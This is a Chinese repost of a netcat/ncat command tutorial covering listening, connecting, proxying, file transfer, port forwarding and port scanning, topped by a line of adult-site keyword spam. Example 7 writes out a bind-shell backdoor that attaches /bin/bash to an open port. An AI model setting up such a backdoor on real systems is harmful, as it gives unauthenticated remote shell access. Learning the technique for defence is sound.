日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

netcat

發(fā)布時間:2024/6/21 综合教程 29 生活家
生活随笔 收集整理的這篇文章主要介紹了 netcat 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

netcat是一個用于TCP/UDP鏈接和監(jiān)聽的linux工具。是一個功能豐富的網(wǎng)絡(luò)調(diào)試和開發(fā)工具,也可以自由組織報文進行測試。

netcat的工作原理就是從網(wǎng)絡(luò)的一端讀入數(shù)據(jù),然后輸出到網(wǎng)絡(luò)的另一端,它可以使用TCP或UDP協(xié)議。名字起源于cat,cat軟件的功能是讀出文件的內(nèi)容,然后將文件內(nèi)容輸出到屏幕上。加上net,就是它可以從文件或網(wǎng)絡(luò)的一端讀取數(shù)據(jù),原封不動地將數(shù)據(jù)發(fā)送到另外一臺主機或文件中。netcat縮寫為nc。

----------------------------------------------------------------------------------------

如下摘自:https://linux.cn/article-9190-1.html

原創(chuàng):https://www.linuxtechi.com/nc-ncat-command-examples-linux-systems/

ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用于網(wǎng)絡(luò)的。它是一款擁有多種功能的 CLI 工具,可以用來在網(wǎng)絡(luò)上讀、寫以及重定向數(shù)據(jù)。 它被設(shè)計成可以被腳本或其他程序調(diào)用的可靠的后端工具。同時由于它能創(chuàng)建任意所需的連接,因此也是一個很好的網(wǎng)絡(luò)調(diào)試工具。

ncat/nc 既是一個端口掃描工具,也是一款安全工具,還能是一款監(jiān)測工具,甚至可以做為一個簡單的 TCP 代理。 由于有這么多的功能,它被譽為是網(wǎng)絡(luò)界的瑞士軍刀。 這是每個系統(tǒng)管理員都應(yīng)該知道并且掌握它。

系統(tǒng)管理員可以用它來審計系統(tǒng)安全,用它來找出開放的端口然后保護這些端口。 管理員還能用它作為客戶端來審計 Web 服務(wù)器、telnet 服務(wù)器、郵件服務(wù)器等, 通過 nc 我們可以控制發(fā)送的每個字符,也可以查看對方的回應(yīng)。

我們還可以用它捕獲客戶端發(fā)送的數(shù)據(jù)以此來了解這些客戶端是做什么的。

在本文中,我們會通過 10 個例子來學習如何使用 nc 命令。

例子: 1) 監(jiān)聽入站連接

通過 -l 選項,ncat 可以進入監(jiān)聽模式,使我們可以在指定端口監(jiān)聽入站連接。 完整的命令是這樣的:

$ ncat -l port_number

比如,

$ ncat -l 8080

服務(wù)器就會開始在 8080 端口監(jiān)聽入站連接。

例子: 2) 連接遠程系統(tǒng)

使用下面命令可以用 nc 來連接遠程系統(tǒng),

$ ncat IP_address port_number

讓我們來看個例子,

$ ncat 192.168.1.100 80

這會創(chuàng)建一個連接,連接到 IP 為 192.168.1.100 的服務(wù)器上的 80 端口,然后我們就可以向服務(wù)器發(fā)送指令了。 比如我們可以輸入下面內(nèi)容來獲取完整的網(wǎng)頁內(nèi)容

GET / HTTP/1.1

或者獲取頁面名稱,

GET / HTTP/1.1

或者我們可以通過以下方式獲得操作系統(tǒng)指紋標識,

HEAD / HTTP/1.1

這會告訴我們使用的是什么軟件來運行這個 web 服務(wù)器的。

例子: 3) 連接 UDP 端口

默認情況下,nc 創(chuàng)建連接時只會連接 TCP 端口。 不過我們可以使用 -u 選項來連接到 UDP 端口,

$ ncat -l -u 1234

現(xiàn)在我們的系統(tǒng)會開始監(jiān)聽 UDP 的 1234 端口,我們可以使用下面的 netstat 命令來驗證這一點,

$ netstat -tunlp | grep 1234
udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc
udp6 0 0 :::1234 :::* 17341/nc

假設(shè)我們想發(fā)送或者說測試某個遠程主機 UDP 端口的連通性,我們可以使用下面命令,

$ ncat -v -u {host-ip} {udp-port}

比如:

[root@localhost ~]# ncat -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53。

例子: 4) 將 nc 作為聊天工具

nc 也可以作為聊天工具來用,我們可以配置服務(wù)器監(jiān)聽某個端口,然后從遠程主機上連接到服務(wù)器的這個端口,就可以開始發(fā)送消息了。 在服務(wù)器這端運行:

$ ncat -l 8080

在遠程客戶端主機上運行:

$ ncat 192.168.1.100 8080

之后開始發(fā)送消息,這些消息會在服務(wù)器終端上顯示出來。

例子: 5) 將 nc 作為代理

nc 也可以用來做代理。比如下面這個例子,

$ ncat -l 8080 | ncat 192.168.1.200 80

所有發(fā)往我們服務(wù)器 8080 端口的連接都會自動轉(zhuǎn)發(fā)到 192.168.1.200 上的 80 端口。 不過由于我們使用了管道,數(shù)據(jù)只能被單向傳輸。 要同時能夠接受返回的數(shù)據(jù),我們需要創(chuàng)建一個雙向管道。 使用下面命令可以做到這點:

$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

現(xiàn)在你可以通過 nc 代理來收發(fā)數(shù)據(jù)了。

例子: 6) 使用 nc 拷貝文件

nc 還能用來在系統(tǒng)間拷貝文件,雖然這么做并不推薦,因為絕大多數(shù)系統(tǒng)默認都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統(tǒng)的話, 你可以用 nc 來作最后的努力。

在要接受數(shù)據(jù)的機器上啟動 nc 并讓它進入監(jiān)聽模式:

$ ncat -l 8080 > file.txt

現(xiàn)在去要被拷貝數(shù)據(jù)的機器上運行下面命令:

$ ncat 192.168.1.100 8080 --send-only < data.txt

這里,data.txt 是要發(fā)送的文件。 -–send-only 選項會在文件拷貝完后立即關(guān)閉連接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關(guān)閉連接。

我們也可以用這種方法拷貝整個磁盤分區(qū),不過請一定要小心。

例子: 7) 通過 nc 創(chuàng)建后門

nc 命令還可以用來在系統(tǒng)中創(chuàng)建后門,并且這種技術(shù)也確實被黑客大量使用。 為了保護我們的系統(tǒng),我們需要知道它是怎么做的。 創(chuàng)建后門的命令為:

$ ncat -l 10000 -e /bin/bash

-e 標志將一個 bash 與端口 10000 相連。現(xiàn)在客戶端只要連接到服務(wù)器上的 10000 端口就能通過 bash 獲取我們系統(tǒng)的完整訪問權(quán)限:

$ ncat 192.168.1.100 10000

例子: 8) 通過 nc 進行端口轉(zhuǎn)發(fā)

我們通過選項 -c 來用 nc 進行端口轉(zhuǎn)發(fā),實現(xiàn)端口轉(zhuǎn)發(fā)的語法為:

$ ncat -u -l 80 -c 'ncat -u -l 8080'

這樣,所有連接到 80 端口的連接都會轉(zhuǎn)發(fā)到 8080 端口。

例子: 9) 設(shè)置連接超時

nc 的監(jiān)聽模式會一直運行,直到手工終止。 不過我們可以通過選項 -w 設(shè)置超時時間:

$ ncat -w 10 192.168.1.100 8080

這回導(dǎo)致連接 10 秒后終止,不過這個選項只能用于客戶端而不是服務(wù)端。

例子: 10) 使用 -k 選項強制 nc 待命

當客戶端從服務(wù)端斷開連接后,過一段時間服務(wù)端也會停止監(jiān)聽。 但通過選項 -k 我們可以強制服務(wù)器保持連接并繼續(xù)監(jiān)聽端口。 命令如下:

$ ncat -l -k 8080

現(xiàn)在即使來自客戶端的連接斷了也依然會處于待命狀態(tài)。

例子: 11) 檢查多個linux服務(wù)器上是否打開多個端口

#!/bin/sh

for server in 192.168.134.140 192.168.134.144
do
    for port in 80 8080 8090
    do
        nc -zvw3 $server $port
    done
done
Connection to 192.168.134.140 80 port [tcp/http] succeeded!
nc: connect to 192.168.134.140 port 8080 (tcp) failed: Connection refused
nc: connect to 192.168.134.140 port 8090 (tcp) failed: Connection refused
Connection to 192.168.134.144 80 port [tcp/http] succeeded!
nc: connect to 192.168.134.144 port 8080 (tcp) failed: Connection refused
Connection to 192.168.134.144 8090 port [tcp/*] succeeded!

總結(jié)

以上是生活随笔為你收集整理的netcat的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。